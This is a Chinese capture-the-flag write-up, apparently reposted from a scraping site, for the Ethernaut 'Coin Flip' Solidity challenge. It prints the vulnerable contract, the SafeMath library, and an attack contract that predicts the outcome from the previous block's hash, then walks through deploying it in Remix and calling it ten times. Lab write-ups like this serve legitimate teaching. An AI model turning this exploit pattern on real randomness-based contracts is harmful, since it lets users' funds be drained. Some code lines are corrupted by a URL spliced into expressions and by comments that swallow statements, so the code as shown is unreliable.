Ethernaut靶场通关记录|以太Ethernaut靶场打靶—3Coin Flip


以太Ethernaut靶场打靶—3Coin Flip

    • 代码审计
    • 攻击流程

代码审计
pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract CoinFlip {using SafeMath for uint256; uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; //2^255constructor() public { consecutiveWins = 0; }function flip(bool _guess) public returns (bool) { //返回 uint256 blockValue = https://www.it610.com/article/uint256(blockhash(block.number.sub(1))); //把blockvalue随机数设置为区块号-1然后进行hashif (lastHash == blockValue) { //上一次的值和这一次的值相等,防止循环 revert(); } lastHash = blockValue; uint256 coinFlip = blockValue.div(FACTOR); //工作量证明如果hash值> factor为1 bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } } }

通过代码可以看出是通过与(计算过后的上一个区块)进行比较来判断是否为win;虽然说前一块的是随机的但可以提前将前一块计算完以后得到是0还是1在用对应的guess进行比较;
这里我们就要写个exp到源码中用到在线编译器[https://remix.ethereum.org/]
(https://remix.ethereum.org/)
攻击流程 【Ethernaut靶场通关记录|以太Ethernaut靶场打靶—3Coin Flip】首先新建文件将合约复制到里面
注意要将SafeMath.sol文件导入并且选择正确的路径导入
Ethernaut靶场通关记录|以太Ethernaut靶场打靶—3Coin Flip
文章图片

SafeMath.sol
// SPDX-License-Identifier: MITpragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; }/** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); }/** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; }/** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; }uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; }/** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); }/** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't holdreturn c; }/** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); }/** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }

然后我们开始编写exp调用接口提前算出数值
contract exp { CoinFlip intence; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; function setinterface(address addres) public { intence = CoinFlip(addres); } function attack() public{ uint256 blockValue = https://www.it610.com/article/uint256(blockhash(block.number - 1)); uint256 coinFlip = blockValue/(FACTOR); bool side = coinFlip == 1 ? true : false; intence.flip(side); } }

然后将靶场的instence address 添加上
Ethernaut靶场通关记录|以太Ethernaut靶场打靶—3Coin Flip
文章图片

设置编译器环境为Injection Web3然后再将地址添加上
Ethernaut靶场通关记录|以太Ethernaut靶场打靶—3Coin Flip
文章图片

再切换到exp进行Deplay部署攻击合约
Ethernaut靶场通关记录|以太Ethernaut靶场打靶—3Coin Flip
文章图片

attack10次后达到过关条件
Ethernaut靶场通关记录|以太Ethernaut靶场打靶—3Coin Flip
文章图片

Ethernaut靶场通关记录|以太Ethernaut靶场打靶—3Coin Flip
文章图片

    推荐阅读